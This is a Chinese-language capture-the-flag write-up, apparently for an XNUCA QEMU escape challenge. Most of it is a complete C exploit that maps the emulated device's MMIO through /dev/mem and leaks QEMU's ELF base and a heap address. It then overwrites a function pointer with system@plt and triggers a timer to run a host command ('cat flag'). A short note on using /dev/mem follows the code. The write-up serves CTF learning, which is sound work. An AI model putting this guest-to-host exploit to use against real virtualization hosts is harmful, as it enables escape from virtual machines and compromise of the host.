曾经被XNUCA支配的我……终于发现还是自己太菜了QAQ

初步分析

这道题其实难度和hitb-gsec-2017-babyqemu非常像,但是做了这道题之后,还是学到了新东西

这道题有两个mmio的空间,因此其就对应了两个resource文件,因此就有了一个比较方便得到其mmio的空间的内存的方法

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/io.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

void error(const char *buf)
{
perror(buf);
exit(1);
}

uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

uint8_t *mmap_mem_addr_mmio, *mmap_mem_addr_cmb;

uint8_t *mmap_mem(size_t size, off_t offset)
{
int fd = open("/dev/mem", O_RDWR | O_SYNC);
if(fd < 0)
{
error("[-] /dev/mem open error!");
}
uint8_t *address = mmap(0, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset);
if(address == MAP_FAILED)
{
error("[-] mmap failed");
}
close(fd);
return address;
}

void set_memorymode(uint32_t mode)
{
outb(mode, 0x230);
sleep(0.1);
}

void set_offset(uint32_t offset)
{
outb(offset, 0x240);
sleep(0.1);
}

void write_mmio(uint32_t addr, uint32_t value)
{
*(uint32_t*)(mmap_mem_addr_mmio+addr) = value;
}

void write_cmb(uint32_t mode, uint32_t offset, uint32_t addr, uint32_t value)
{
set_memorymode(mode);
set_offset(offset);
*(uint32_t*)(mmap_mem_addr_cmb+addr) = value;
}

uint32_t read_cmb(uint32_t mode, uint32_t offset, uint32_t addr)
{
set_memorymode(mode);
set_offset(offset);
return *(uint32_t*)(mmap_mem_addr_cmb+addr);
}

void trigger_timer()
{
*(uint32_t*)(mmap_mem_addr_mmio+0x98) = 1;
sleep(1);
}

int main()
{
system("mknod -m 660 /dev/mem c 1 1");
/*
0x00000000febd6000 0x00000000febd6fff 0x0000000000040200
0x00000000febd0000 0x00000000febd3fff 0x0000000000140204
*/
mmap_mem_addr_mmio = mmap_mem(0x1000, 0x00000000febd6000);
mmap_mem_addr_cmb = mmap_mem(0x4000, 0x00000000febd0000);
if (iopl(3) !=0 )
{
error("[-] iopl error!");
}
uint32_t elf_base_0 = read_cmb(1, 0x28+0x10, 0x100);
uint32_t elf_base_1 = read_cmb(1, 0x28+0x10+4, 0x100);
uint64_t elf_base = (((uint64_t)elf_base_1 & 0xffffffff) << 32) | ((uint64_t)elf_base_0 & 0xffffffff) - 0x4dcf10;
uint64_t system_plt = elf_base + 0x00000000002ab860;
printf("[+] system plt: %p\n", system_plt);
uint32_t heap_addr_0 = read_cmb(1, 0x28+0x18, 0x100);
uint32_t heap_addr_1 = read_cmb(1, 0x28+0x18+4, 0x100);
uint64_t heap_addr = (((uint64_t)heap_addr_1 & 0xffffffff) << 32) | ((uint64_t)heap_addr_0 & 0xffffffff) + 0xb90;
printf("[+] heap addr: %p\n", heap_addr);
uint32_t system_plt_0 = (uint32_t)system_plt;
uint32_t system_plt_1 = (uint32_t)(system_plt >> 32);
write_cmb(1, 0x28+0x10, 0x100, system_plt_0);
write_cmb(1, 0x28+0x14, 0x100, system_plt_1);
uint32_t req_buf_0 = (uint32_t)heap_addr;
uint32_t req_buf_1 = (uint32_t)(heap_addr >> 32);
write_cmb(1, 0x28+0x18, 0x100, req_buf_0);
write_cmb(1, 0x28+0x1c, 0x100, req_buf_1);
char buf[] = "cat flag";
for(int i=0;i<9;i+=4)
{
uint32_t b = *(uint32_t*)&buf[i];
write_cmb(1, 0, i, b);
}
trigger_timer();
return 0;
}

具体方法

根据:http://man7.org/linux/man-pages/man4/mem.4.html

如果系统此时没有/dev/mem文件的话,system("mknod -m 660 /dev/mem c 1 1");可以创建一个该文件

1
2
3
4
> /dev/mem is a character device file that is an image of the main memory of the computer.  It may be used, for example, to examine (and even patch) the system.
>
> Byte addresses in /dev/mem are interpreted as physical memory addresses. References to nonexistent locations cause errors to be returned.
>

该文件是与系统的内存相关的,我们可以以物理地址为偏移来从该文件得到该物理地址所指向的内存

具体做法就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
uint8_t *mmap_mem(size_t size, off_t offset)
{
int fd = open("/dev/mem", O_RDWR | O_SYNC);
if(fd < 0)
{
error("[-] /dev/mem open error!");
}
uint8_t *address = mmap(0, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset);
if(address == MAP_FAILED)
{
error("[-] mmap failed");
}
close(fd);
return address;
}

即mmap的时候把地址作为偏移